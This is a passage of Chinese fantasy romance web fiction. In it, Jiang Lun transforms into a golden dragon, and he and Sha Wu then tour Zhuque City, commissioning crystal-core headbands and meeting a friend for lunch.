话是这么说，他的人很诚实地靠在姜纶怀里，被最喜欢的气味包裹，感觉和昨天啃噬清道夫异能，简直一个天堂一个地狱。 “以前的力量体系划分比较简单粗暴，大致分为熟悉异能阶段，也就是像你现在这样的，还不算入门。” “嗯。” “接着就是能够熟练运用自身异能的，相当于现在的一级到三级的初级异能战士。” “嗯。” “再提升一步，就是能够熟练运用自身污染的，能够完全掌握污染的，就是现在的九级。”姜纶从小就接触这套理论体系，说起来的时候像是在聊自己种的变异柠檬，语气慵懒随意，注意力全放在怀里的人身上，“污染只是一种叫法，应该是一种更高层次的力量，只是不好掌握。就算是现在的少数几个九级，也不敢说完全掌握了污染。九级和完全污染的区别，大概是理性停留在人的一侧，还是在变异生物的那一侧。其中的分别不是绝对的，随时会产生变化，这就是九级例外论。” 沙伍半晌才说道：“我还以为九级例外论指的是九级可以对污染为所欲为。” 姜纶轻笑了一声：“不是的。九级的例外是他们已经变成了另外一种生物。他们的精神认定自己是人，但本质上不是。” 沙伍听得眉头紧皱，被亲了一下，又缓缓松开：“我连一级都不是，九级还远着呢。” 刚开始认数字，会一点四则运算，就考虑将来当数学家？想多了。 任何一个行业顶尖都是极少数人，绝大部分的人终其一生都无法企及。 姜纶不以为然：“九级很快的。” “怎么可能？现在世界上才几个九级。”沙伍压根不信，转身就把姜纶摁在沙发上亲。 九级不重要，香香的小少爷才重要。 姜纶顿时抛开杂念，脑海里全是立刻把小鲨鱼吃掉和克制住自己冲动的挣扎，简直比控制自己的污染更加艰难。 “叩叩”，敲门声响起。 姜纶清了清嗓子才询问：“什么事？” 门外传来阿大清晰的嗓音：“小伍，出来做鳗鲞了。” 沙伍眼神迷离，隐约听到自己的名字：“嗯？”不太理解自己和姜纶怎么换了个位置，明明刚才是他压着姜纶的。 姜纶都不敢多看他，回答外面的阿大：“好，一会儿就来。” 他站起身，沙伍不明所以地跟着站起来：“姜纶？” 姜纶这会儿有点坐立难安：“你要现在去洗个澡，还是一会儿做完鳗鲞后再洗？” “做完鳗鲞后吧。”沙伍看他脖子上浮起的青筋，坏心眼地上前半步吹了一口气。 “嗯——”姜纶倒抽一口气，咬着牙下意识要把沙伍抓起来，沙伍却跟滑溜的泥鳅似的，已经欢脱地跑走了。 “等着。”姜纶回浴室去冲了半天冷水平复心情，等洗完澡站到房间阳台上，就看到下层甲板上，沙伍在阿大的指导下，把已经剖开的鳗鱼抹上盐和白酒，边上还有其它各种海鱼等待处理。 细瘦但有力的手指灵巧地剖鱼、清洗，又拿起细竹枝在鱼身上比划，剪出恰当的长度，把鱼腹撑开，一条条挂起来。 个子偏小的夜鹭站在晾鱼的架子上，试图对每一条挂起来的鱼叨两口，被沙伍驱赶后，干脆飞起来追着沙伍的头发叨，把人撵得满船乱窜。 沙伍抬头看到鳗鱼似的挂在护栏上的姜纶，抬手把一个亮晶晶的东西抛过去：“接着！” 姜纶伸手接住，发现是一颗瑰丽的蓝紫色晶核，在阳光下折射出炫目的光彩。 变异生物有一定概率被杀死后凝结出晶核。 大灾变后的能量体系，几乎都来自于晶核。 大部分晶核只是普通的能量源，极少部分晶核会因为好看，被作为收藏品，或者作为高级珠宝。 沙伍给姜纶的这颗晶核来自于刚才的鳗鱼，长得就格外好看。 姜纶很高兴收到来自小鲨鱼的礼物，马上跳下来，刚想亲亲抱抱他的小鲨鱼，就被夜鹭追着一起叨。 “干嘛打我？我又没干什么？” 夜鹭不讲道理，只一味叨人。 体力过人的小鲨鱼率先累趴在甲板上，被夜鹭踩着后脑勺张着翅膀，摆出胜利结算姿势三分钟，看夜鹭飞走了，才有气无力朝姜纶伸手：“我要去洗澡。” 姜纶把人拉起来，直接抱住：“去啊。” 沙伍抬头：“我房间呢？” 姜纶的眼神飘忽：“没有你的房间。”定制船的时候，他确实还没认识沙伍，甚至都还在犹豫要不要到青龙学院上学，但船上房间多得是，给沙伍安排一个专属房间根本不是个事，他却下意识忽略掉，“有我们的房间。” “哦~”沙伍双手环抱住他的脖子，意味深长地跟他咬耳朵，“你忍得住？” 姜纶无比清晰地感觉到额角突突地跳了两下，随即又泄气：“你就这么磨我吧。再这样下去，我马上就能轻松控制异能和污染，到九级了。” “不要把九级说的像大白菜一样。你现在控制10%都累。” 比起控制异能，控制住自己对小鲨鱼的冲动显然更艰难。 小鲨鱼还时时刻刻给他上强度。 上天对他的考验永不停歇。 姜纶都没敢进房间，把人在门口放下就走。 沙伍倒是没再作妖。 水系异能确实可以把自己打理清爽，但洗澡才能够让心理上感觉到舒适。 尤其整个环境都散发着姜纶独有的香甜气息。 要是姜纶能跟变异柠檬一样，被他抱着看书，抱着上课，抱着睡觉就好了。 哦，能抱着睡个午觉~ 姜纶看着身侧秒睡的沙伍，感觉满心杂念的自己简直……说不上来的心情复杂，手指轻轻戳了戳沙伍的脸颊：“没心没肺。” 手指下的皮肤嫩滑，比刚见面的时候明显多了点肉，大概是这几天军训晒得很，皮肤渐渐从不健康的苍白，变得略微黑了一点点，嘴唇也更加红润……这个红润是营养跟上后身体情况改善，还是因为刚才亲的？ 大概是被脸上划来划去的手指痒到，沙伍放开姜纶，一个翻身抱住他的变异柠檬。 姜纶的视线落在变异柠檬上，忍了三秒钟：“小鲨鱼？” 沙伍显然已经睡沉了，纹丝不动。 姜纶把变异柠檬抢过来丢开，低声咒骂：“什么东西，也敢跟我抢小鲨鱼。” 没了变异柠檬，沙伍果然改而抱住姜纶，醒过来的时候压根不知道小少爷和大柠檬的争风吃醋，看到姜纶就开心：“姜纶~” 姜纶听着他带着点鼻音又拖长了的尾音，恨不得把人……停！小鲨鱼还小，什么都不能干！ 沙伍完全没察觉他的纠结，在熟悉的环境中醒过来，一点警惕心都没有，脑袋无意识在他怀里蹭了两下，坐起来看到离床三米远的变异柠檬，过去捡起来，还以为是自己睡懵了丢的。 他宝贝地检查了一下，又闻了闻，确定柠檬没受伤，就把柠檬随手放在一旁的床尾凳上，挠着头洗漱去了。 洗洗完换好衣服出来，见姜纶还坐在床上，笑嘻嘻扑过去把人压住：“快起来！上课迟到了。” 姜纶反手把沙伍压下，薄被一卷：“不起来，我逃课。” 逃课两个字像是什么关键词，刚落地，夜鹭的通讯就打了进来。 院长大人饰羽竖起：“几点了！滚出来上课！姜纶！你今天敢逃课，打死你！” 姜纶只能灰溜溜起床，然后跟沙伍一起被丢到外海，日常训练释放异能。 沙伍没有距离姜纶很近，而是被夜鹭抓着，要放到附近一个荒岛上。 沙伍在看清楚岛上的情况后，反手抓住夜鹭的爪子：“停停停！我先搞个卫生！” 这岛上全是鸟……屎。 海边的礁石上……全是生蚝！ 夜鹭看他准备洗刷小岛的海水绕了个弯，对准了礁石冲了又冲。 常年经受海浪拍打的生蚝纹丝不动。 沙伍不服就干的性子（馋虫）上来了，用异能鲨鱼对着附着在礁石上的贝类咔咔一顿啃。 大的生蚝能有浴缸大，小的生蚝也有拳头大。 异能鲨鱼撬一个生蚝，夜鹭就吃一个。 无人区的生蚝格外肥美，冷水海域的还格外鲜嫩。 夜鹭吃得开心极了，带着学生扫荡了一片礁石区，还打包了许多生蚝：“带回去，晚上烧烤。” 沙伍开开心心应下，单手抓着夜鹭的爪子，被提溜着去找姜纶。 姜纶所在的海域已经寸草不生，面无表情地跟沙伍一起坐在泡泡里，被夜鹭抓着返航。 宿舍的一群人几乎都在船上，见夜鹭一落地，就开始张罗做饭。 祁大厨带来了许多别的食材，还带了酒。 沙伍被祁大厨指挥着打下手，开心地呲着牙，突然感觉有点不对：“咦？我撬了一下午生蚝，一个都没吃到！” 他这忙活半天忙活啥呢？ 饰羽紧贴着后脑勺，脖子缩到最短的夜鹭，慢慢慢慢别开脑袋。 祁大厨语气轻松：“生的多吃了不好，一会儿给你留一个尝尝味道就好了。” “好~”沙伍很好哄，低头拍拍紧紧箍在自己腰间的胳膊，“放松。” 姜纶过了几秒钟，才慢慢放松了一点。 他在尝试靠着自己的意志力压制污染。 不能让小鲨鱼给他净化，他还不能吸两口小鲨鱼加强意志力了？ 夜鹭院长睁一只眼闭一只眼，一直到正式开始吃烧烤的时候，看到沙伍吃一口烧烤，嗅一嗅姜纶，跳起来就朝沙伍脑门上甩了一个贻贝：“不准给他净化！” 沙伍猝不及防，脑门钝痛，抱着脑袋嗷嗷叫：“没净化，我就闻闻。” “你还舔舔了！当我瞎啊！”夜鹭院长从来没见识过这阵仗，“你们要净化不能好好净化？谁家净化跟你们俩似的不正经？” 姜纶已经缓过来了一些，借机干脆把坐在身边的沙伍抱到自己腿上，亲亲红红的额头：“别理他，老单身狗了。” 夜鹭院长一翅膀把两人扇飞：“滚蛋！去叫你们老师过来！” 李老师还在医院陪护，监测点剩下的老师和三名工作人员过来一起享用海鲜大餐。 虽说监测点的人几乎天天吃海鲜，但外海的海鲜质量和他们这里不能比。 再说，海鲜大餐又不是只有海鲜。 被驱逐下船的姜纶则陪着沙伍在宿舍上网课，只是上不到五分钟就睡着了，醒过来的时候下意识抱紧怀里的沙伍，脚动了一下就悬空，有些茫然不知道自己在哪里。 “醒了？回船上去睡吗？”沙伍显然还不是很清醒，侧躺在床里侧，把脸埋在姜纶胸口。 微弱的月光从窗外洒进来，姜纶看他困得眼睛都睁不开，下意识先拍抚了几下，才意识到自己竟然在沙伍的宿舍睡着了。 靠墙摆放的单人床，竟然能够睡下他们两个人。 他重新侧躺回去，和沙伍四肢交缠：“不回去。” 沙伍第一次看到姜纶这么累：“今天受什么刺激了？” 他知道姜纶其实对于异能什么的有很强的抵触心理，学习这类知识只是无所谓的按部就班，不努力更不积极。 姜纶像是睡着了，过了很久才梦呓一般说道：“清道夫到7级了。” “啊？”沙伍猛地睁开眼睛，很快又闭上，“我就说最后那种连天气都改变，异能平静下来的感觉不太对。原来7级就可以这么厉害。” “我没能保护你。”他连自己的异能都无法控制。 如果他能够发挥出自己应有的实力，就不用被单独训练，这样沙伍出事的时候，他可以在他身边。 沙伍对他的沮丧半懂不懂：“没事啊。我都没怪自己弱。” “不一样！”姜纶有点被自己的声音惊到，立刻道歉，“对不起，我不该这么大声。你才刚觉醒，对异能不熟悉是正常的。你现在的进度已经很快了。我不一样，我从出生就是觉醒体，到现在都无法使用自己的异能。” 弱小的身体、脆弱的精神力，庞大的异能带给他的，是时时刻刻无穷无尽的痛苦，甚至是绝望。 在过去的二十年里，他对异能是抵触，甚至是痛恨的。 他觉得自己还不如是个没有异能的普通人。 “不急，我们一起学嘛。”沙伍听着姜纶胸腔里鼓动的心跳，感觉从突然觉醒后一直挥之不去的焦躁一下就沉淀了下来，“我很高兴你还没那么强大，让我可以有机会保护你。” 姜纶听得有些愣神，没想明白沙伍为什么会这么说，又不知道自己该怎么回应。 沙伍有些不好意思地笑笑：“我的意思不是说盼着你弱唧唧，就是……嗨呀！”他越说声音越小，浑身燥热，恍惚想着昨天晚上他还在雨里淋得瑟瑟发抖，天气变化实在是太快了。 “就是什么？”姜纶下意识追问，感觉自己像是个咕嘟冒泡的烧水壶，有什么激烈的东西在沸腾，迫不及待要冲开盖子。 宿舍里的光线很弱，沙伍的眼睛却很亮，装着许多小星星：“就是喜欢你，想保护你。” 一瞬间，姜纶的世界安静下来。 躁动的异能，混乱的污染，甚至心跳和呼吸，全都远离。 世界像是变成了一个只有自己和沙伍的圆球，安静又圆满。 “真是的，小孩子事情就是多。”夜鹭烦躁又无奈的声音响起。 守夜的乌龟从黄河宽阔的河道探头，看着夜鹭抓着个东西迅速离开监测点。 夜鹭的速度很快，比平时更快，但是看着抓着的气息越来越强的黑色圆球，只觉得麻爪，内心骂了一万句脏话，都无法让自己平静下来。 “我就知道我就知道我就知道……” 有钱有势的小少爷就是麻烦。 有钱有势还上进的小少爷更是麻烦。 不能老老实实躺平？ 都有钱有势了，为什么还要努力！ 夜鹭骂骂咧咧，想到黑球里的沙伍，又没法放手，骂得更凶了。 “好好一条吞噬异能的鲨鱼，还自带净化，天生的……” 脚下的黑球“喀拉”一声，裂开一道纹路。 夜鹭爪子一松，黑球瞬间自由落体，他赶紧追上去抓住，“可不能给小少爷祸祸了。” 黑灰的翅膀倏然迎风变大了无数倍，在夜空中划过一道金线。 沙伍感觉自己晕晕乎乎的，像是在做梦，又好像很清醒。 周围温暖、安静，充满了让他安心的气息。 他怀里抱着一条胳膊，覆盖着鳞片，软软的，带着点奇异的韧性。 这是姜纶。 他好像对这触感有些印象，可是想不起来究竟在什么时候接触过。 眼皮沉得抬不起来，胸口窒闷，被什么沉重的东西压着。 鬼、鬼压床？！ “呼——” 绵长的呼吸声响起。 哦，不是鬼，鬼不用呼吸。 “嘭、嘭、嘭。” 确定了，肯定不是鬼，鬼没有心跳。 沙伍一口气放松下去，又猛地提起来——所以，压在他身上的究竟是什么鬼？！ “沙伍。” 这个鬼还知道他的名字！！！ 不知道沙妈妈有没有收到他买的客货两用小飞车？ 幸亏把大部分存款都花出去了。 他大学都还没正式开学。 军训都没结束。 他还没问昨天这样，拉练是不是要补。 新的变异柠檬才睡了一天。 “小鲨鱼。” 嗯？ 会叫他小鲨鱼的，只有姜纶。 姜纶啊，那不怕了。 魂淡，敢吓唬他！ 沙伍也不知道自己哪里冒出来的力气，张嘴就一口咬了上去，竟然尝到了一丝血腥味。 空旷的海域上空，已经被夜鹭丢开的黑色圆球并没有掉落在海中，而是悬浮在海面上。 庞大的能量将海水凭空搅出一个巨大的漩涡。 小小的夜鹭违反常理地漂浮在漩涡边上，白色的饰羽凌乱飘扬。 夜空异常黑暗，像是天地间所有的光线被黑色圆球吸收，让黑色圆球更加暗沉。 黑色圆球上原本裂开的一道缝越来越长，裂缝越来越多。 一只爪子扒开“蛋壳”，一条金色的龙从破开的口子钻了出来，趴在蛋壳上方，像是海上的太阳，将周围一片大海照耀得犹如白昼。 蛋壳的颜色越来越浅，金龙身上的光线也越来越暗，海上的漩涡渐渐平息。 漂浮的夜鹭下意识吞下一条被搅和晕的鱼，仰头看着金龙，鸟脸上写满了错愕：“怎么是金色的？说好的青龙呢？这特么是诈骗吧？” 他为了青龙学院收了这么个货，成天提心吊胆的，结果货不对板？！ 金龙像是被他惊醒，朝着夜鹭的方向看了一眼。 夜鹭的红眼珠子更加凶狠地瞪了回去：“沙伍呢？” 别把他的好苗子给弄死了。 金龙盘踞在蛋壳上，把前爪往胸腹拢了拢，目光警惕。 只剩下一点浅灰色的蛋壳迅速发白，变成齑粉，被海风吹散。 夜鹭确定沙伍没有在蛋壳里，再看了看金龙的动作，突然瞬间出现在金龙的上方，一爪子扣住金龙的后脖颈：“藏什么藏？有什么好藏的？” 金龙生无可恋地被夜鹭提溜起来，拢着两只前爪：“小鲨鱼是我的。” “滚蛋！现在小鲨鱼是医院的。你特么成年搞那么大阵仗，也不知道对沙伍有没有影响。”夜鹭不客气地对着金龙的脑袋一阵叨，“你自己熟悉一下，我先带沙伍去医院。” 金龙不撒爪：“我要一起去！” “一起去个屁！你现在这鬼样子，怎么见人？” 一条金龙出现在人前，浑身的气息还不稳定，能够带来的惊吓肯定大于惊喜。 然后夜鹭就见金龙几乎在一瞬间就变回了人形。 姜纶双手横抱着沙伍，询问：“现在可以了？” 夜鹭：“……现在你得先找件衣服穿上才能见人。” 沙伍一觉醒来，男朋友变成了黄毛。 不确定，再看看。 还是黄毛。 他就说像他这样的小城男孩子，去了大城市容易被黄毛骗。 第34章 朱雀城内应 “我这是一觉睡了好几年？”沙伍感觉自己倒也没有怎么绵软无力，但人突然出现在医院里，小少爷不仅变成了一个黄毛，还是长头发。 不得不说，人帅到一定程度，就是可以为所欲为。 非主流都帅气。 “一醒来就说笑。昨天在你宿舍里睡着后，发生了一点意外。给你请了假。”姜纶呼叫了医生，“有没有哪里觉得不舒服？” “没有啊。”沙伍乖乖躺着，打量单人病房里小小的病床，身边一堆看不懂的医疗器械，阵仗比受伤最严重的鲤鱼同学都夸张，“我是得了什么绝症？” “别乱说，就是检测一下数值。”姜纶说完，医生敲门进来，让开位置给医生。 红色长发的医生睫毛卷翘，长相艳丽，是个大美人，很专业地给沙伍做了一番检测，声音轻柔温和：“好了，身体数据没什么问题。之前营养不良的问题得到了不少改善，我已经把你的最新数据发给青龙学院的章医生，后续我、章医生会和姜祁先生一起确定你后续的饮食。” 沙伍听懂了，疑惑：“这里不是青龙学院？” “不是，这里是朱雀学院。”大美人医生在自己手环上操作了几下，让沙伍用自己的手环扫，“好了，出院手续办完了。” 说完，她伸手从白大褂的衣兜里掏出一只夜鹭，放在病床上：“差点把院长忘了。” “咦？”沙伍坐起来，跟夜鹭四目相对。 夜鹭饰羽竖起：“又要说什么？” 沙伍把夜鹭捧起来，来回看了看：“院长原来这么小一只。”竟然能放进衣兜里。 夜鹭一翅膀就把倒反天罡的学生扇趴下：“我看你是不想出院了！” 姜纶一把将夜鹭薅住：“冷静！” 夜鹭回头就叨：“你个冒牌货，还拉偏架！” 沙伍赶紧跳下病床，稍微扒拉了一下自己凌乱的头发，满脸不解：“什么冒牌货？” 姜纶虽然头发颜色变了，但是身上的气味没变，他很确定这就是钻石小少爷本钻，冒牌什么了？ “哼！”夜鹭越想越气，“说好的给我一条青的，结果是条金色的。我特么难道是色盲吗？” 姜纶试图狡辩：“我总得有一点像我爸。”他已经长得很像妈妈了，就颜色随他爸。 “重点难道是颜色吗？说好的水系和木系异能呢？你特么骗子！你们一家都是骗子！”夜鹭越说越气，翅膀一拍，直接把窗户撞了个洞，飞出去了，“你们自己回去吧！” “金色的？”沙伍有点没听明白，再看看现在姜纶的长相，“你的觉醒体是……金环蛇？” “嗯？不是，是金龙。”姜纶推他去卫生间洗漱，自己应付进来查房要求他赔偿玻璃的机器人。 “啊？龙？”沙伍试图检查姜纶，“龙不是神话生物吗？人能变异出来？” “能。”姜纶给了他肯定的答案，“现在九点半，我们能够在朱雀城玩到七点，晚上回去青龙城。” “哦，马上！”沙伍一听，立刻顾不上姜纶的觉醒体究竟是什么，关上卫生间的门开始洗漱。 半小时后，沙伍被姜纶拉着出医院，顿时感觉到一阵热浪袭来：“不愧是朱雀城。” 九月的青龙城已经入秋，顶多中午的时候有一点燥热。 朱雀城这里完全是夏天，还是酷暑。 他的视线落在姜纶手腕上的一圈怎么看怎么眼熟的咬痕：“我咬的？” 姜纶抬手扬了扬，炫耀的意味很明显，在他唇角亲了一下：“嗯。我们家小鲨鱼的牙齿越来越厉害了。” 沙伍脸红，拉起他的手腕检查了一下，确定只是一点皮外伤才放下：“你被咬伤了啊，到底在骄傲什么啊？” “我骄傲我的小鲨鱼。”姜纶理直气壮，拉着他往医院外面走。 朱雀专科医院和青龙专科医院不一样，没有设立在大学内部，而是在大学外围。 姜纶显然不是头一次来，指着附近的一道围墙说道：“那里是朱雀学院医学部，旁边就是祝融大学医学院。朱雀城环境整体湿热，变异昆虫太多，普通百姓也容易受到变异昆虫的攻击造成轻度污染，所以把专科医院放在外面，方便看病。朱雀城里还有很多净化专科诊所，除了负责处理被轻度污染的普通人，还负责环境净化。” “不对啊。朱雀城这么多净化的医疗设施，那为什么还会到我们学校医院净化？”上次青龙专科医院正经来了不少人呢。 “这些净化诊所，只能处理最普通的污染，打个净化药剂，泡个净化池什么的。专业的净化治疗，哪里都缺。”姜纶皱着眉摆弄手环，“怎么叫不到车？” 沙伍听他这么一说，跟着打开手环，很轻易就叫来了一辆小飞车：“你手环坏了吧？” “坏了吗？”姜纶被沙伍拉上小飞车才反应过来，“我叫的酒店的飞车。哦，他们酒店被虫潮袭击后，一部分受损还没恢复，一部分作为临时居民安置点。”他扫过酒店方发来的道歉邮件。 沙伍都不知道酒店还能提供飞车，看着路边和青龙城完全不一样的行道树，充满了旅游的新奇：“别管了，伍哥带你逛朱雀城。” 姜纶放弃和自己的手环斗争，伸手环抱住沙伍的腰，感觉这样很不错：“你来过朱雀城？” “没来过。朋友给我提供了攻略。”他把攻略转发给姜纶，“我们可以先去喝一杯凉茶。” “中午可以请你朋友一起吃个饭。你朋友有空吗？”他还没见过沙伍的朋友，正好趁机加入小鲨鱼的朋友圈。 沙伍没多想：“我问问。啊，他有空。”他把餐厅地址转发给姜纶，“他今天在那附近工作。” 姜纶看了一下地址，显示是一个老城区的小饭店，网上评价很不错，是当地人聚集的馆子。 凉茶铺子也是沙伍朋友推荐的。 门脸很小，但在半上午的时候，依旧有不少人排队。 老板娘五十多岁，动作麻利，队伍前进的速度很快，没一会儿就给他们两杯咖啡色的凉茶，闻着微微发苦，有一种清爽的草药味：“来，陈皮。” 姜纶接过陈皮，看沙伍嗅了嗅凉茶，就学着旁边的人一口闷，表情看不出什么变化，问：“味道怎么样？” “嗯？”沙伍若无其事，就像是喝了一杯白开水，从姜纶手上拿了一块陈皮放嘴里，“就这样啊。” 姜纶见状，不疑有他，仰头也一口灌了下去。 凉茶下去的速度太快，味觉反应过来的时候，一整杯凉茶已经去了三分之二。 剩下的三分之一，在周围一群人的注视下，只能皱着眉头灌下去，然后赶紧把陈皮含在嘴里。 他从来没喝过这种口味的东西。 按理说他也是喝过很多中药的人，但凉茶让他打开了新视野。 不是单纯的苦，是一种很复合的说不上来的味道，不过确实能够缓解一点高温引起的燥热。 姜纶皱着脸，把一次性杯子放到旁边的垃圾桶里，看着呲牙乐的沙伍：“你就骗我吧。” “嘿嘿嘿。”沙伍拉着他往下一站去，“朱雀城的珠宝定制很出名，正好顺路看看。” “你带宝石了？”病号服都是他给换的，身上的衣服也是他买的，根本没见沙伍身上有什么东西，“什么时候买的宝石？” “没带，有数据就好。不是宝石，是晶核。我存了几颗好看的晶核，看看能不能做点什么东西。哦，昨天我抓了很多贝类，有一些珠子。祁叔说挑好看的给我留着。” 昨天带回来的绝大多数的贝类是生蚝，会有一些蚝珠，作为能量源非常优质。 这种贝类产出的珠子，能量有一种特殊的平稳，一些实验室长期收购，给的价格不低。 但作为珠宝，贝类珠子大多品质不佳，形状、光泽都达不到宝石要求。 沙伍昨天去的海岛上的生蚝资源实在太丰富，真得到了几颗品相很不错的蚝珠。 “我还没定制过珠宝呢，不知道贵不贵，该怎么和设计师讨论款式。” 姜纶看着小飞车停下的珠宝城：“我也没来过珠宝城。”他突然想起来，拉住沙伍的手，“原先不知道你对珠宝感兴趣，就没给你定制多少东西，算算时间应该差不多做完了，到时候你看看喜不喜欢。” 沙伍吃惊：“你还给我定制珠宝了？什么时候的事情？” “夏季的时间赶不及，订了一套，另外买了两套现成的，放在你衣帽间的首饰柜里。秋季的跟我一起订的情侣款，等我们回去应该就到了。”他想到收到的鳗鱼晶核，“等我多弄几个鳗鱼晶核，到时候我们一人做一套。” 沙伍：“……等你能抓到鱼再说吧。”还一人一套呢，漂亮的晶核不知道有多难弄。 又不是所有鳗鱼的晶核都这么好看，他抓到现在那么多鳗鱼，也就送给姜纶的那颗最好看。 沙伍想着还不清楚昨天姜纶的变化，现在的场合又不适合细问：“你……现在能抓到鱼了？” 金龙哎，得多好看啊。 听说有个学长的觉醒体是金龙鱼，每次变成觉醒体的时候，都有好多人去围观。 姜纶不太确定，但：“大概率……还是抓不到。” 他现在气息控制还是不稳，虽然靠着经验，依旧能够让人甚至是机器发现不了他是个异能者，但野外环境中的变异生物会更敏锐。 以前他下水，周围就没生物；现在应该还没下水就跑光了。 姜纶沮丧地半靠到沙伍身上：“我想自己抓。”沙伍给他一个亲手抓的晶核，他也给沙伍一个亲手抓的晶核，跟花钱买来的意义不一样。 “不急，肯定有机会的。”沙伍力气大，拖着姜纶，身体没歪，脚步稳健地在珠宝城的各个柜台和门店内穿梭。 一二楼是品牌珠宝柜台，三四楼是一些个人工作室和宝石加工设计门店，卖的都是贵金属和传统珠宝。 五楼和六楼才是专门设计加工晶核的地方。 姜纶也是第一次知道：“原来不在一个地方。以前都是直接跟设计师交流款式就好。” 他认真看了一眼导购图，发现五楼和六楼的还不一样。 沙伍也注意到了：“五楼是把晶核加工成首饰，六楼是加工成武器的。”实用主义冒头，“去六楼。” 他这几天军训才刚接触到异能武器，能量就是来自于各种晶核。 晶核，说白了就是变异生物的能量结晶。 除了特殊的如蚝珠之类的晶核之外，绝大部分的晶核的能量都比较狂暴，需要经过特殊加工，才能被人类使用。 武器需要杀伤力，需要的异能晶核和普通民用晶核不一样，需要一定的狂暴，或者说是能量混乱。 E、D、C异能值的初级和中级异能战士，用自己的异能去激发使用异能武器，才是现代人类和变异生物的主要作战方式。 B级异能值以上，目前的异能武器对他们的作用已经很小了，只能作为辅助攻击手段。 原来异能武器也能定制的吗？ 应该不便宜，但是来都来了，他想长长见识。 沙伍兴致勃勃，然后他看到…… “您有这么漂亮这么大的晶核可太难得了。我这里可以把它设计成一根法杖，周围镶嵌一圈钻石……” “哦，这几颗橄榄绿的晶核大小均匀，特别适合做成手链。” “您有这么多漂亮的小晶核，定做一根蕾丝发带一定特别称您男朋友的这一头长发。” 沙伍本来被一堆和他概念中完全不相关的花里胡哨的武器震撼到说不出话来，听到设计师的话，突然看了看姜纶。 一头亮闪闪的金发，确实该搭配一根亮闪闪的发带。 “你喜欢什么款式的？” 姜纶被问得一懵：“什么款式？” 设计师一看有戏，立刻把人让到沙发上，给他们泡了一壶茶，从柜台里拿出两大盒现成的蕾丝发带：“这些是现成的款式，如果不中意的话，我这里还有一些别的花样。或者您有什么心水的图案，我这里都可以定制。这些蕾丝发带都是我手工编织的。正好您在，可以比划一下。” 样品上的宝石都是假的，看上去会很闪，但是质感和晶核不一样。 沙伍一根一根拿着在姜纶头发上比划，突然GET到四姐打扮玩具娃娃的乐趣。 设计师看着沙伍的动作，像是在看即将到手的钱：“您别看这只是一根发带，上面的纹路是用变异蚕丝构筑的能量链路。虽然使用的晶核小，但也能激发一个小型防御护盾，关键时刻可以保命。” 沙伍顿时感觉很实用。 设计师继续：“发带最好换着使用，您看您需要几根？” 沙伍盘算了一下自己的晶核库存，再看了看身边亮闪闪的钻石小少爷：“30根。”一天一根换着戴，一个月不能重样。 只是想一次卖出去两根的设计师瞪圆了眼睛，花了几秒钟冷静下来，让僵硬在脸上的商业微笑重新绽放：“每一种款式需要的晶核数量不一样，您看您能提供多少，需要我这边再额外补充多少？” 格局小了啊，这两位客人一看长相就很贵。 30根而已，不要露出没见过世面的表情，镇定！ “全部我来提供。”大一点的晶核他不多，这种碎米粒大小的小晶核他多得是，“等我回去之后，给你寄过来。” “好的。”设计师一看他这样子，立刻说道，“我们店的结算方式有两种，一种是直接付钱，另外一种是用晶核结算。我看您似乎不缺晶核？” 一听就知道设计师更想要的是晶核。 沙伍的30万存款给沙妈妈买了小飞车之后，确实所剩无几，刚才看到闪闪发光的钻石小少爷就开始冲动消费，根本没想过自己没钱的事情，现在能用晶核结账再好不过，打开自己的手环，把库存的零散晶核给设计师展示一小部分：“价格合适的话，当然可以用晶核。” 设计师给的价格确实很合适，最后沙伍用一颗海蓝色的晶核抵扣了所有费用，还得了一个漂亮的栖架。 栖架上点缀着各种便宜宝石和半宝石，但颜色搭配精心，格外闪耀漂亮。 沙伍把栖架交给姜纶，自己发动小飞车前往用餐地点：“他们是不是把你当做鸟了？可是送的栖杆也太小了。顶多能站个小鹦鹉。”沙伍突然想到金龙，“是不是得给你定制一根柱子？” 姜纶没听明白：“为什么我要一根柱子？” “盘龙绕柱？你不用一根柱子盘着？”沙伍想到青龙城里随处可见的青龙形象，印象深刻。 朱雀城里就没那么多朱雀雕塑。 姜纶靠在沙伍的肩头，咬耳朵：“我不用盘柱子，盘男朋友。” 沙伍的脸一下爆红，得亏小飞车是自动驾驶，不然高低得发生交通事故：“在外面注意影响！” “注意了，所以不是小声说的嘛。”姜纶坐小飞车一回生二回熟，这会儿搂着沙伍的腰很熟练，想着一会儿再骑小飞车，得他坐在前面，让沙伍抱着他。 小飞车按照设定好的路线，七拐八弯地绕了无数小巷子，终于来到一家小饭馆门口。 小饭馆连名字都没有，刚过11点就已经人头攒动。 不少人一眼就能看出是周围的居民，直接拿着锅碗瓢盆过来打包带走。 小饭馆里冷气很足。 老板娘一看到穿着短袖长裤的沙伍和姜纶，就热情招呼：“二楼的6号台？” 沙伍看了一眼手环，确认信息：“对。” “外地来的吧？不知道点什么菜，我给你们搭配？保管便宜又好吃。”老板娘确认了一下预定信息，“你们3个人啊，还有一个什么时候来？先给你们上两个凉菜，还是等人来了再上菜？” “等人来了再一起上菜吧。他工作还不知道什么时候结束。” “好，那我先给你们上一壶茶，先喝着。”老板娘对里面喊了一嗓子，让准备茶水点心。 小饭馆就那么大，不需要带路。 沙伍和姜纶穿过食客上楼的时候，食客们都纷纷赞赏：“外地来的，能找到这里不简单啊。” 沙伍就顺着他们的话说：“那是，我们有内应！” “哈哈哈。” 小饭馆周围的老住户一家三代都在这里吃饭，人们热络又友好，有人不停给他们推荐周围好吃好玩的。 “城西那边先不要去，那边抢修慢，很多还没恢复。” “靓仔，你们是过来旅游的还是过来常住的？” “现在城际列车只恢复了一部分，票不太好买。” “要不要租房？阿伯家有空房子可以租。” “看年纪是过来读书的吧？” 沙伍和姜纶干脆就不上楼，坐在楼下和一群街坊邻居聊得热火朝天。 文缙进来的时候，要不是因为姜纶一头金灿灿的长发多看了一眼，都没注意到人，往后退了一步，看了又看：“沙伍？小少爷？” 姜纶看到文缙，比文缙都震惊，看向沙伍的时候瞳孔地震：“你说的朱雀城的朋友是他？！” “你下班啦。我们去二楼。阿姨，可以上菜了！”沙伍跟文缙招呼了一声，拉着姜纶站起来，“对啊。” 虽然在青龙城见面的时候不算太愉快，但文缙现在是他的忠实客户，甚至已经快成他在朱雀城的分销商了。 文缙这么一位网上非常有名的战队明星，出现在小饭馆里并没有引起什么追捧热议，反而很熟络地跟街坊邻居打招呼。 “原来是阿缙的朋友啊。” “怪不得能找到这边。” 三个人到楼上坐下后，文缙说道：“我从小就在这一片长大的。你们点好菜了？我看看点的什么。” 沙伍还不知道菜单：“不知道，老板娘帮我们点的。” 